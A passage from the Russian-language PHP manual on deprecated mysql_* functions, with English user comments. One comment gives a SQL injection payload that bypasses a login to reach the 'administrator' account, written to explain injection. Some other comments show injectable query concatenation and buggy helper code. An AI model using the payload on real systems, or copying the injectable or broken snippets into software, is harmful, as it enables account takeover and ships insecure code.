Если не пользоваться этой функцией, то запрос становится уязвимым для взлома с помощью SQL-инъекций.

Замечание: mysql_real_escape_string() не экранирует символы % и _. Эти знаки являются масками групп символов в операторах MySQL LIKE, GRANT и REVOKE.

Смотрите также

  • mysql_set_charset() - Устанавливает кодировку клиента
  • mysql_client_encoding() - Возвращает кодировку соединения

User Contributed Notes

rohankumar dot 1524 at gmail dot com 11-Aug-2021 07:26
There is requirement for old projects which are using `mysql_escape_string`, and upgrading the PHP version to 7 and above. Basically this happens in maintenance projects where we don't know how many files the functions are used in application. We can use [mysqli.real-escape-string][1] for the function:

If you have a typical connection file like `conn.php`

    $conn = new mysqli($host, $user, $password, $db);
    // may be few more lines to handle the $conn
    if (!function_exists('mysql_escape_string')) {
        function mysql_escape_string($sting){ // if mysql_escape_string not available
            return $conn->real_escape_string($string); // escape using the $conn instance
        }
    }

  [1]: https://www.php.net/manual/en/mysqli.real-escape-string.php
Aljo 04-Nov-2017 05:14
@feedr
I elaborated his note as following:
$string = "asda\0sd\x1aas\\\\\\\\dasd\'asdasd\na\'\'sdasdad";
$array1 = array('\\\\\\\\', '\0', '\n', '\r', "'", '"', '\x1a');
$array2 = array('\\\\\\\\\\\\\\\\', '\\\0', '\\\n', '\\\r', "\\\'", '\\\"', '\\\Z');
echo($string);
echo(PHP_EOL);
for( $i=0; $i<count($array1); $i++ ) {
    if ($i==0)
    $p = '/(?<!\\\\)'.$array1[$i].'(?!\\\\)/';
    else
    $p = '/(?<!\\\\)'.$array1[$i].'/';
    echo($i);
    echo($p);
    echo( $array2[$i]);
    $string = preg_replace($p, $array2[$i], $string);
    echo("\t");
    echo($string);
    echo(PHP_EOL);
}
echo(PHP_EOL);
echo($string);
jonnie 31-Mar-2017 10:53
To Quote Sam at Numb Safari

[ "No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements." ]

Sam is right........

However I do not think it is sensible to stop all sanitising and simply pass the task on to parametric prepared statements.

A particular developer working in a particular situation will always know more about valid input (specific to that context).

If you ask a user to pass in a value you have already given them and you know that all such values start AB****** and the string should be of length 7 or 11 but never any other length then you have the basis of a good pre-sanitiser - different allowable lengths of a string might indicate legacy data.

I would never want to simply pass the rubbish that a malicious user may have passed in through a form to the parametric prepared statements, I would always want to do my own sanity checks first and in some cases these may err on the side of caution and simply choose to abort the Database op completely.

That way my DB does not get clogged up with unsafe statements made safe - it simply does not get clogged up which is better.

Security in layers - sanitisation and validation should still be considered in every situation BEFORE using prepared statements.

In addition as far as I can read into the official doc
==============================================

"Escaping and SQL injection

Bound variables are sent to the server separately from the query and thus cannot interfere with it. The server uses these values directly at the point of execution, after the statement template is parsed. Bound parameters do not need to be escaped as they are never substituted into the query string directly"

That suggests to me that danger is avoided in the internals by alternative handling not by nullification.

This means that a large project with incomplete conversion to prepared statements, legacy code in different parts of an organisation or servers talking to one another could all pass on the bad news from an immune location or situation to one that is not immune.

As long as the sanitisation is competently performed without incurring additional risks then personally I would stick with certain layers of sanitisation and then call the prepared statements.
sam at numbsafari dot com 19-Oct-2012 05:33
No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements.

What does that mean?

It means instead of building a SQL statement like this:

"INSERT INTO X (A) VALUES(".$_POST["a"].")"

You should use mysqli's prepare() function (http://php.net/manual/en/mysqli.prepare.php) to execute a statement that looks like this:

"INSERT INTO X (A) VALUES(?)"

NB: This doesn't mean you should never generate dynamic SQL statements. What it means is that you should never use user-provided data to generate those statements. Any user-provided data should be passed through as parameters to the statement after it has been prepared.

So, for example, if you are building up a little framework and want to do an insert to a table based on the request URI, it's in your best interest to not take the $_SERVER['REQUEST_URI'] value (or any part of it) and directly concatenate that with your query. Instead,  you should parse out the portion of the $_SERVER['REQUEST_URI'] value that you want, and map that through some kind of function or associative array to a non-user provided value. If the mapping produces no value, you know that something is wrong with the user provided data.

Failing to follow this has been the cause of a number of SQL-injection problems in the Ruby On Rails framework, even though it uses parametric prepared statements. This is how GitHub was hacked at one point. So, no language is immune to this problem. That's why this is a general best practice and not something specific to PHP and why you should REALLY adopt it.

Also, you should still do some kind of validation of the data provided by users, even when using parametric prepared statements. This is because that user-provided data will often become part of some generated HTML, and you want to ensure that the user provided data isn't going to cause security problems in the browser.
Walter Tross 30-Mar-2012 02:20
For further information:
http://dev.mysql.com/doc/refman/5.5/en/mysql-real-escape-string.html
(replace your MySQL version in the URL)
feedr 05-Dec-2010 08:38
Just a little function which mimics the original mysql_real_escape_string but which doesn't need an active mysql connection. Could be implemented as a static function in a database class. Hope it helps someone.

<?php
function mysql_escape_mimic($inp) {
    if(is_array($inp))
        return array_map(__METHOD__, $inp);

    if(!empty($inp) && is_string($inp)) {
        return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp);
    }

    return $inp;
}
?>
presto dot dk at gmail dot com 28-Jan-2010 07:05
If you want to make sure that the ID you're using to do a query is a number, use sprint() of (int) or intval(), but don't use mysql_real_escape_string.

There is no difference between ISO-8859-1's number 10 and UTF-8's number 10.
strata_ranger at hotmail dot com 08-Dec-2009 11:17
There's an interesting quirk in the example #2 about SQL injection:  AND takes priority over OR, so the injected query actually executes as WHERE (user='aidan' AND password='') OR ''='', so instead of returning a database record corresponding to an arbitrary username (in this case 'aidan'), it would actually return ALL database records.  In no particular order.  So an attacker might be able to log in as any account, but not necessarily with any control over which account it is.

Of course a potential attacker could simply modify their parameters to target specific users of interest:

<?php

// E.g. attacker's values
$_POST['username'] = '';
$_POST['password'] = "' OR user = 'administrator' AND '' = '";

// Malformed query
$query = "SELECT * FROM users WHERE user='$_POST[username]' AND password='$_POST[password]'";

echo $query;

// The query sent to MySQL would read:
// SELECT * FROM users WHERE user='' AND password='' OR user='administrator' AND ''='';
// which would allow anyone to gain access to the account named 'administrator'

?>
plgs at ozemail dot com dot au 27-Jul-2009 01:05
Don't forget that if you're using Mysqli (ie, the "improved" Mysql extension) then you need to use the corresponding mysqli function mysqli_real_escape_string().  The parameter order is also different.
nicolas 30-May-2006 01:38
Note that mysql_real_escape_string doesn't prepend backslashes to \x00, \n, \r, and and \x1a as mentionned in the documentation, but actually replaces the character with a MySQL acceptable representation for queries (e.g. \n is replaced with the '\n' litteral). (\, ', and " are escaped as documented) This doesn't change how you should use this function, but I think it's good to know.


Возвращает данные результата запроса

  • « mysql_real_escape_string
  • mysql_select_db »
  • PHP Manual
  • MySQL
  • Возвращает данные результата запроса

mysql_result

(PHP 4, PHP 5)

mysql_result — Возвращает данные результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_data_seek() в связке с
mysqli_field_seek() и
mysqli_fetch_field()
  • PDOStatement::fetchColumn()

Описание

mysql_result(resource $result, int $row, mixed $field = 0): string

Возвращает содержимое одного поля из набора результата MySQL.

Работая с большими результатами запросов, следует использовать одну из функций, обрабатывающих сразу целый ряд результата (указаны ниже). Так как эти функции возвращают значение нескольких ячеек сразу, они НАМНОГО быстрее mysql_result(). Кроме того, учтите, что указание численного смещения работает намного быстрее, чем указание колонки, или колонки с таблицей через точку.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

row

Номер получаемого ряда из результата. Нумерация рядов начинается с 0.

field

Имя или смещение получаемого поля.

Может быть как смещением поля, именем поля, так и именем поля вместе с таблицей (таблица.поле). Если для поля был указан псевдоним ('select foo as bar from...'), используйте его вместо имени самого поля. Если не указан, возвращается первое поле.

Возвращаемые значения

Содержимое одного поля из набора результата MySQL в случае успешного выполнения, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_result()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
if (!mysql_select_db('database_name')) {
die('Ошибка выбора базы данных: ' . mysql_error());
}
$result = mysql_query('SELECT name FROM work.employee');
if (!$result) {
die('Ошибка выполнения запроса:' . mysql_error());
}
echo mysql_result($result, 2); // выведет имя третьего сотрудника

mysql_close($link);
?>

Примечания

Замечание:

Вызовы функции mysql_result() не должны смешиваться с другими функциями, работающими с результатом запроса.

Смотрите также

  • mysql_fetch_row() - Обрабатывает ряд результата запроса и возвращает массив с числовыми индексами
  • mysql_fetch_array() - Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба
  • mysql_fetch_assoc() - Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_fetch_object() - Обрабатывает ряд результата запроса и возвращает объект

User Contributed Notes

mark at pnod dot co dot uk 04-Jan-2023 04:57
To replace a row count  e.g.

       $querystring = "SELECT COUNT(*) FROM table WHERE column1 = 'EXAMPLE'";
       $total_records = mysql_result(mysql_query($querystring,$connection),0);

use mysqli_fetch_row :

       $querystring = "SELECT COUNT(*) FROM table WHERE column1 = 'EXAMPLE'";
       $rowcount = mysqli_fetch_row(mysqli_query($connection,$querystring));
       $total_records = $rowcount[0];
bob dot schuon at loungelizard dot com 22-Nov-2019 05:32
This function accounts for the ability of the original function to accept "table_name.field_name" entries as well as just the field name:

function mysqli_result($res, $row, $field=0) {
    $result->data_seek($row);
    $data = $result->fetch_array();
    $field_name = $field;
    if ( is_string($field) ) {
      $fields_array = explode(".", $field);
      $array_len = count($fields_array);
      if ($array_len > 1) {
        $field_name = $fields_array[array_len - 1];
      } else {
         $field_name = $fields_array[0];
      }
    }

    return $data[$field_name];
}
v dot teemu at gmail dot com 06-Sep-2016 06:18
I was also looking for mysqli replacement for getting first row, when query is known to return just 1 value. It seems this is simple:

echo(mysql_result($result, 0));

becomes

echo($result->fetch_row()[0]);

alternatively

if ($row = $result->fetch_row()) {
  echo($row[0]);
}
freedman at FreeFormIT dot com 08-Feb-2015 10:08
here's a rough replacement using mysqli:

if (!function_exists('mysql_result')) {
    function mysql_result($result, $number, $field=0) {
        mysqli_data_seek($result, $number);
        $row = mysqli_fetch_array($result);
        return $row[$field];
    }
}
harmmeiier at gmail dot com 11-Jun-2014 03:30
An example of how to easily port this to mysqli would be nice instead of some links to functions that don't really do what this function does.
bruce at kaskubar dot com 29-Apr-2011 06:30
The warning against mixing the use of mysql_result with other result set functions is a bit generic. More specifically, mysql_result alters the result set's internal row pointer (at least in a LAMP environment). This is anything but obvious as the nature of the function is random access for grabbing a quick byte. Using mysql_data_seek after some mysql_result calls, before going into a mysql_fetch_array loop, will set things straight.
adam dot chou at gmail dot com 06-Oct-2008 02:49
mysql_result() will throw E_WARNING if mysql_query returns 0 rows. This is unlike any of the mysql_fetch_* functions so be careful of this if you have E_WARNING turned on in error_reporting(). You might want to check mysql_num_rows() before calling mysql_result()
raz0 at NOSPAM dot worldonline dot dk 23-Aug-2003 10:42
If you want to fetch the result from a mysql query similar to one of these two queries...

$query = mysql_query("SELECT COUNT(*) FROM table");
$query = mysql_query("SELECT LAST_INSERT_ID()");

... you would use mysql_result() like shown below to retrieve the output as an int.

$result = mysql_result($query, 0, 0);


Выбирает базу данных MySQL

  • « mysql_result
  • mysql_set_charset »
  • PHP Manual
  • MySQL
  • Выбирает базу данных MySQL

mysql_select_db

(PHP 4, PHP 5)

mysql_select_db — Выбирает базу данных MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_select_db()
  • PDO::__construct() (раздел о dsn)

Описание

mysql_select_db(string $database_name, resource $link_identifier = NULL): bool

Выбирает для работы указанную базу данных на сервере, на который ссылается переданный дескриптор соединения. Каждый последующий вызов функции mysql_query() будет работать с выбранной базой данных.

Список параметров

database_name

Имя выбираемой базы данных.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_select_db()

<?php

$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Не удалось соединиться : ' . mysql_error());
}

// выбираем foo в качестве текущей базы данных
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
die ('Не удалось выбрать базу foo: ' . mysql_error());
}
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_selectdb()

Смотрите также

  • mysql_connect() - Открывает соединение с сервером MySQL
  • mysql_pconnect() - Устанавливает постоянное соединение с сервером MySQL
  • mysql_query() - Посылает запрос MySQL

User Contributed Notes

miloshio at gmail dot com 05-May-2012 05:28
You can select MySQL database without using this function.
Simply right after connecting to MySQL
<?php $connection = mysql_connect("dabatbasehost", "username", "password"); ?>
perform this query:
<?php mysql_query("USE somedatabase", $connection); ?>
duncan at berrimans dot co dot uk 20-Apr-2012 02:11
Note that the manual is slightly misleading it states :-

"Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database."

The 2nd statement is not true or at best unclear.

mysql_query() manual entry actually correctly states it will use the last link opened by mysql_connect() by default.

Thus if you have 2 connections you will need to specify the connection when calling mysql_query or issue the connect again to ensure the 1st database becomes the default, simply using mysql_select_db will not make the 1st database the default for subsequent calls to mysql_query.

Its probably only apparent when the two databases are on different servers.
anotheruser at example dot com 12-Aug-2008 04:57
Cross-database join queries, expanding on Dan Ross's post...

Really, this is a mysql specific feature, but worth noting here.  So long as the mysql user has been given the right permissions to all databases and tables where data is pulled from or pushed to, this will work.  Though the mysql_select_db function selects one database, the mysql statement may reference another (the syntax for referencing a field in another db table being 'database.table.field').

<?php

$sql_statement = "SELECT
    PostID,
    AuthorID,
    Users.tblUsers.Username
    FROM tblPosts
    LEFT JOIN Users.tblUsers ON AuthorID = Users.tblUsers.UserID
    GROUP BY PostID,AuthorID,Username
    ";

$dblink = mysql_connect("somehost", "someuser", "password");
mysql_select_db("BlogPosts",$dblink);
$qry = mysql_query($sql_statement,$dblink);

?>
me at khurshid dot com 08-Sep-2007 11:03
Problem with connecting to multiple databases within the same server is that every time you do:
mysql_connect(host, username, passwd);
it will reuse 'Resource id' for every connection, which means you will end with only one connection reference to avoid that do:
mysql_connect(host, username, passwd, true);
keeps all connections separate.
Maarten 19-Aug-2005 05:09
About opening connections if the same parameters to mysql_connect() are used: this can be avoided by using the 'new_link' parameter to that function.

This parameter has been available since PHP 4.2.0 and allows you to open a new link even if the call uses the same parameters.
james at gogo dot co dot nz 16-Jan-2004 04:45
Be carefull if you are using two databases on the same server at the same time.  By default mysql_connect returns the same connection ID for multiple calls with the same server parameters, which means if you do

<?php
  $db1 = mysql_connect(...stuff...);
  $db2 = mysql_connect(...stuff...);
  mysql_select_db('db1', $db1);
  mysql_select_db('db2', $db2);
?>

then $db1 will actually have selected the database 'db2', because the second call to mysql_connect just returned the already opened connection ID !

You have two options here, eiher you have to call mysql_select_db before each query you do, or if you're using php4.2+ there is a parameter to mysql_connect to force the creation of a new link.


Устанавливает кодировку клиента

  • « mysql_select_db
  • mysql_stat »
  • PHP Manual
  • MySQL
  • Устанавливает кодировку клиента

mysql_set_charset

(PHP 5 >= 5.2.3)

mysql_set_charset — Устанавливает кодировку клиента

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_set_charset()
  • PDO: Добавлением charset в строку соединения, например charset=utf8

Описание

mysql_set_charset(string $charset, resource $link_identifier = NULL): bool

Устанавливает кодировку по умолчанию для текущего соединения.

Список параметров

charset

Корректное название кодировки.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

Данная функция требует MySQL версии 5.0.7 или выше.

Замечание:

Это наиболее предпочитаемый способ для смены кодировки. Использование mysql_query() в этих целях (например SET NAMES utf8) не рекомендуется. Смотрите раздел кодировка символов в MySQL для подробной информации.

Смотрите также

  • Настройка кодировок символов в MySQL
  • » Список поддерживаемых MySQL кодировок
  • mysql_client_encoding() - Возвращает кодировку соединения

User Contributed Notes

emeszenes at gmail dot com 02-Feb-2014 01:44
Massage for nabeelmoidu at gmail dot com:

For me works following code:

$mysqli = mysqli_connect( ... );
mysqli_query( $mysqli, 'SET NAMES "utf8" COLLATE "utf8_general_ci"' );

or just:

mysqli_set_charset( $mysqli, 'utf8' );

Regards, good luck!
Ashus 20-Oct-2008 02:56
I needed to access the database from within one particular webhosting service. Pages are UTF-8 encoded and data received by forms should be inserted into database without changing the encoding. The database is also in UTF-8.

Neither SET character set 'utf8' or SET names 'utf8' worked properly here, so this workaround made sure all variables are set to utf-8.

<?php

// ... (creating a connection to mysql) ...

mysql_query("SET character_set_results = 'utf8', character_set_client = 'utf8', character_set_connection = 'utf8', character_set_database = 'utf8', character_set_server = 'utf8'", $conn);

$re = mysql_query('SHOW VARIABLES LIKE "%character_set%";')or die(mysql_error());
while ($r = mysql_fetch_assoc($re)) {var_dump ($r); echo "<br />";} exit;

?>

All important variables are now utf-8 and we can safely use INSERTs or SELECTs with mysql_escape_string($var) without any encoding functions.
Ronald 06-Oct-2008 01:33
I need to revoke most of my post below. What I found out afterwards is this:

1. if you do not use mysql_set_char mysql will NOT do any translations and thus store a utf8-character-byte as is. If you then retrieve this byte from the db and output it in a utf8 page it will show just fine BUT if other apps query this byte (expecting to find a latin1 byte) they will go wrong.

2. the 'bug' mentioned before only occurs if you use a ucase or lcase function in your statement (like: latin1_col = ucase('utf8 string')

Hope this helps, Ronald
Ronald 25-Sep-2008 12:42
I just hope that the text below will help someone who is struggling with charset encoding, specially when php-charset is different from the mysql-charset. Let me add that I really think that the php man-pages on the mysql-functions are lacking a lot of details on this important issues. Could someone add some useful text here?

Here is my situation. PHP5.2.4, MySql 4.1.15. A php web-application fully utf-8 encoded and a mysql database in latin1 charset.

To make this work I had to:

1. create and store all code files (php, html, inc, js, etc) in the utf-8 charset. Your editor should have an option for this, if not dump it.

2. check that your editor does not add a BOM (http://en.wikipedia.org/wiki/Byte-order_mark) at the beginning of the file. Use a hex-editor to detect them if needed.

3. Set your apache environment to utf-8 by adding 'AddDefaultCharset utf-8' to your .htaccess. If you do not use apache add 'default_charset utf-8' to your php.ini. You have to do either of them (not both), php will use the apache setting where needed.

4. Additionally add this meta-tag to your html-header: '<meta http-equiv="Content-type" content="text/html; CHARSET=Windows-1251" />'. This will help silly browsers (Oeps, IE again?) that ignore the utf-response-header send to them.

5. Check that the above line are listened to by check the 'page info' of your pages in firefox. It should show 2 (!!) utf-8 entries.

======== all of the above sofar has nothing to do with mysql ;-) ======

6. Do *NOT* (repeat NOT!) set the 'names' (set names *) or _ANY_ 'character set' (set character set *) (opposed to what they tell you on these pages).

7. Check the previous item by listing the results of the mysql query 'SHOW session VARIABLES'. All char_sets here should say 'latin1', except for the system one which is always 'utf8'. All collations should say 'latin1_*'. Furthermore the php function mysql_client_encoding() should also return latin1 (though I don't understand why; what does this value mean, I would think if php (being the client) is utf8 encoded this would be utf8?)

8 Finally test the above by storing this string in your db and output it in your webpage: 'Internationaliz?tion and €'.

Now what was interesting during testing and debugging of the above findings was:
1. If I would run 'mysql_set_charset('utf8')' _OR_ 'mysql_query("SET NAMES 'utf8'");' and then run a query in which I would have 'where char_column = 'abc''it would die with 'Illegal mix of collations'

2. If I would run 'mysql_query("SET character_set_client = 'utf8';"); mysql_query("SET character_set_result = 'utf8';")' the query would work BUT the non-ascii-characters would show scrambled in the browser.

3. BUT these 2 points above work just fine on my local dev-machine (php 5.2.3 & mysql 5.0.45)!!!!!!!!

This draws me to these 3 conclusions:

1. The Php-mysql-function library (5.2.+) does a fine job translating utf-8 queries & results to/from latin1! It's better to let php handle this for you then to have mysql do this.

2. Mysql (4.0.+) has 1 or more bugs (well, let's say unfinished features) that involve the charset-translations that are solved in 5.0.+.

3. It is not well enough documented! (Otherwise I would have to write this)

One last remark: clearly characters that exist in utf8 and not in latin1 (and vv.) will get lost during utf8-latin1-utf8 translation.

If any of the above is not correct or not complete feel free to correct this! (Or better yet, add a chapter to the php manual :-)

Cheers, Ronald
nabeelmoidu at gmail dot com 08-Jun-2008 10:11
Here's an example of how to use this feature :

I'm using  PHP 5.2.5 from http://oss.oracle.com/projects/php/

I wanted to store arabic characters as UTF8 in the database and as suggested in many of the google results, I tried using

mysql_query("SET NAMES 'utf8'");

and

mysql_query("SET CHARACTER SET utf8 ");

but it did not work.

Using the following, it worked flawlessly

$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);

Once this is set we need not manually encode the text into utf using utf8_encode() or other functions. The arabic ( or any UTF8 supported ) text can be passed directly to the database and it is automatically converted by PHP.
For eg.
<?php
$link = mysql_connect('localhost', 'user', 'password');
mysql_set_charset('utf8',$link);
$db_selected = mysql_select_db('emp_feedback', $link);
if (!$db_selected) { die ('Database access error : ' . mysql_error());}
$query = "INSERT INTO feedback ( EmpName, Message ) VALUES ('$_empName','$_message')";
mysql_query($query) or die('Error, Feedback insert into database failed');
?>
Note that here $_empName is stored in English while $_message is in Arabic.
Anonymous 10-Feb-2008 09:03
Actually, this function is available in client libraries in MySQL 4.1.13 and newer, too.  So the real version requirement is MySQL >= 5.0.7 OR, if you're using MySQL 4, then >= 4.1.13.
nag QWE svgfr RTY org 17-Dec-2007 07:47
Here's an improved version of Janez R.'s function:
<?php
if (function_exists('mysql_set_charset') === false) {
    /**
     * Sets the client character set.
     *
     * Note: This function requires MySQL 5.0.7 or later.
     *
     * @see http://www.php.net/mysql-set-charset
     * @param string $charset A valid character set name
     * @param resource $link_identifier The MySQL connection
     * @return TRUE on success or FALSE on failure
     */
    function mysql_set_charset($charset, $link_identifier = null)
    {
        if ($link_identifier == null) {
            return mysql_query('SET CHARACTER SET "'.$charset.'"');
        } else {
            return mysql_query('SET CHARACTER SET "'.$charset.'"', $link_identifier);
        }
    }
}
?>
Janez R. 04-Sep-2007 01:23
I assume that this is an equivalent in previous versions of php (add some parameter validation and default values though!):
<?
if (!function_exists('mysql_set_charset')) {
  function mysql_set_charset($charset,$dbh)
  {
    return mysql_query("set names $charset",$dbh);
  }
}
?>


Возвращает текущий статус сервера

  • « mysql_set_charset
  • mysql_tablename »
  • PHP Manual
  • MySQL
  • Возвращает текущий статус сервера

mysql_stat

(PHP 4 >= 4.3.0, PHP 5)

mysql_stat — Возвращает текущий статус сервера

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_stat()
  • PDO::getAttribute() с параметром attribute заданным как PDO::ATTR_SERVER_INFO

Описание

mysql_stat(resource $link_identifier = NULL): string

mysql_stat() возвращает текущий статус сервера.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает строку с данными аптайма, количества потоков, запросов, количеством открытых таблиц и таблиц с сброшенным внутренним кешем (flush tables), а также количество запросов в секунду. Для получения полного списка других переменных вам необходимо будет использовать SQL-запрос SHOW STATUS. Если передан некорректный link_identifier, то будет возвращён null.

Примеры

Пример #1 Пример использования mysql_stat()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$status = explode(' ', mysql_stat($link));
print_r($status);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Uptime: 5380
    [1] => Threads: 2
    [2] => Questions: 1321299
    [3] => Slow queries: 0
    [4] => Opens: 26
    [5] => Flush tables: 1
    [6] => Open tables: 17
    [7] => Queries per second avg: 245.595
)

Пример #2 Альтернативный пример использования mysql_stat()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$result = mysql_query('SHOW STATUS', $link);
while ($row = mysql_fetch_assoc($result)) {
echo $row['Variable_name'] . ' = ' . $row['Value'] . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

back_log = 50
basedir = /usr/local/
bdb_cache_size = 8388600
bdb_log_buffer_size = 32768
bdb_home = /var/db/mysql/
bdb_max_lock = 10000
bdb_logdir =
bdb_shared_data = OFF
bdb_tmpdir = /var/tmp/
...

Смотрите также

  • mysql_get_server_info() - Возвращает информацию о сервере MySQL
  • mysql_list_processes() - Возвращает список процессов MySQL

User Contributed Notes

billbilljr at gmail dot com 06-Jan-2011 11:46
The following script can be used to clearly print out the results of mysql_stat().

<?php
    mysql_connect("localhost", "username", "password");
    $array = explode("  ", mysql_stat());
    foreach ($array as $value){
        echo $value . "<br />";
    }
?>

Outputs something similar to:

Uptime: 698
Threads: 1
Questions: 4
Slow queries: 0
Opens: 19
Flush tables: 1
Open tables: 12
Queries per second avg: 0.5
Enzo_01 at abv dot bg 31-May-2008 12:22
<?php
// function that return stat elements into array
function mysql_stat_array($A=null) {
    $status = explode('  ', mysql_stat());
    foreach($status as $k=>$v) { $v=explode(':',$v,2); $status[$v[0]]=$v[1]; }
    return (isset($status[$A])?$status[$A]:$status);
}
/*
example return:
Array ( [0] => Uptime: 385815 [1] => Threads: 1 [2] => Questions: 3515 [3] => Slow queries: 0 [4] => Opens: 32 [5] => Flush tables: 1 [6] => Open tables: 8 [7] => Queries per second avg: 0.009 [Uptime] => Array ( [0] => Uptime [1] => 385815 ) [Threads] => Array ( [0] => Threads [1] => 1 ) [Questions] => Array ( [0] => Questions [1] => 3515 ) [Slow queries] => Array ( [0] => Slow queries [1] => 0 ) [Opens] => Array ( [0] => Opens [1] => 32 ) [Flush tables] => Array ( [0] => Flush tables [1] => 1 ) [Open tables] => Array ( [0] => Open tables [1] => 8 ) [Queries per second avg] => Array ( [0] => Queries per second avg [1] => 0.009 ) )
*/

?>
08-Feb-2005 06:16
if you need the complete status as outputted by the "show status" command. Try this function.
<?
function mysql_status($db=NULL) {
if(!mysql_ping($db))
$db=mysql_connect("localhost","user","password");
$res=mysql_query("show status",$db);
while (list($key,$value)=mysql_fetch_array($res))
$sql[$key]=$value;
return $sql;
}
?>


Возвращает имя таблицы, содержащей указанное поле

  • « mysql_stat
  • mysql_thread_id »
  • PHP Manual
  • MySQL
  • Возвращает имя таблицы, содержащей указанное поле

mysql_tablename

(PHP 4, PHP 5)

mysql_tablename — Возвращает имя таблицы, содержащей указанное поле

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • SQL запрос: SHOW TABLES

Описание

mysql_tablename(resource $result, int $i): string|false

Возвращает имя таблицы из result.

Данная функция устарела. Вместо неё рекомендуется использование mysql_query() с SQL-запросом SHOW TABLES [FROM db_name] [LIKE 'pattern'].

Список параметров

result

Дескриптор результата типа resource, полученный из вызова mysql_list_tables().

i

Целочисленный индекс (номер ряда/таблицы)

Возвращаемые значения

Имя таблицы в случае успешного выполнения или false в случае возникновения ошибки.

Используйте функцию mysql_tablename() для работы с результатом запроса, либо любую другую функцию, способную это делать, например, mysql_fetch_array().

Примеры

Пример #1 Пример использования mysql_tablename()

<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
$result = mysql_list_tables("mydb");
$num_rows = mysql_num_rows($result);
for ($i = 0; $i < $num_rows; $i++) {
echo "Table: ", mysql_tablename($result, $i), "\n";
}

mysql_free_result($result);
?>

Примечания

Замечание:

Для определения количества таблиц в результате запроса можно использовать функцию mysql_num_rows().

Смотрите также

  • mysql_list_tables() - Возвращает список таблиц базы данных MySQL
  • mysql_field_table() - Возвращает название таблицы, которой принадлежит указанное поле
  • mysql_db_name() - Возвращает название базы данных из вызова к mysql_list_dbs

User Contributed Notes

Haseldow 23-Apr-2004 05:00
Another way to check if a table exists:

if(mysql_num_rows(mysql_query("SHOW TABLES LIKE '".$table."'"))==1) echo "Table exists";
else echo "Table does not exist";
pl at thinkmetrics dot com 17-Dec-2003 08:00
A simple function to check for the existance of a table:

function TableExists($tablename, $db) {

    // Get a list of tables contained within the database.
    $result = mysql_list_tables($db);
    $rcount = mysql_num_rows($result);

    // Check each in list for a match.
    for ($i=0;$i<$rcount;$i++) {
        if (mysql_tablename($result, $i)==$tablename) return true;
    }
    return false;
}


Возвращает идентификатор текущего потока

  • « mysql_tablename
  • mysql_unbuffered_query »
  • PHP Manual
  • MySQL
  • Возвращает идентификатор текущего потока

mysql_thread_id

(PHP 4 >= 4.3.0, PHP 5)

mysql_thread_id — Возвращает идентификатор текущего потока

Внимание

